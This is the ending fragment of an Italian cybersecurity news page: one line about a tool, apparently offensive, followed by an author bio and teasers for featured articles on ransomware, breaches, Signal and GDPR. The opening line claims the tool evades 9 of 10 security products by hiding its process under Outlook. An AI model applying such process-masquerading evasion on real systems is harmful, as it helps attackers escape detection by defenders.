    Ad oggi abbiamo testato la soluzione completa (quindi con tutte le funzionalità stealth possibili) ed è risultata irrilevabile da 9 soluzioni su 10. Siamo riusciti a nascondere il processo come figlio del PPI di Outlook.

    Giuseppe Longobardi
    CyberSecurity Manager e ICT Trainer, specializzato in Networking e CyberSecurity. Inventore della web app "OnionCert", registrata alla SIAE con N. Registrazione D000016744, ideatore del "Metodo Longobardi" per il Subnetting ed autore di svariati corsi di formazione in ambito Networking e CyberSecurity. Da sempre seguo progetti di ricerca e sviluppo in ambito Industry 4.0 , Smart City e Blockchain. Credo nello sviluppo continuo di nuove competenze, tecnologie e soluzioni open source. La mia filosofa di vita: "Se i tuoi progetti hanno come obiettivo 1 anno pianta del riso, 20 anni pianta un albero, un secolo insegna a degli uomini"
    Visita il sito web dell'autore

    Articoli in evidenza

    DarkLab intervista HellCat Ransomware! La chiave è “assicurarsi che tutti comprendano la cybersecurity”

    Il ransomware HellCat è apparso nella seconda metà del 2024 e ha attirato l’attenzione degli analisti grazie all’umorismo delle sue dichiarazioni pubbliche. Ricordiamo l’...

    X/Twitter nel Caos! Un Threat Actors pubblica 2.8 Miliardi di Account Compromessi

    Il 28 marzo 2025, un utente del noto forum di cybersecurity BreachForums, con lo pseudonimo ThinkingOne, ha rivelato quello che potrebbe essere il più grande data breach mai registrato nel mondo ...

    Signal è abbastanza sicuro per la CIA e per il CISA. Lo è anche per te?

    Quando Jeffrey Goldberg dell’Atlantic ha fatto trapelare accidentalmente un messaggio di gruppo privato di alti funzionari statunitensi su un possibile attacco contro gli Houthi nello Yemen, ha...

    Addio alle password! La rivoluzione della sicurezza informatica è già iniziata

    Ogni mese diventa sempre più evidente: le password non funzionano più. Gli hacker hanno imparato a eludere anche la protezione a due fattori sfruttando sessioni rubate e milioni di dati comp...

    Alla scoperta della Pseudonimizzazione: Tra definizione e valore giuridico

    La pseudonimizzazione è una tecnica di protezione dei dati definita dall’art. 4(5) del GDPR. Consiste nella trasformazione dei dati personali in modo tale che non possano più essere a...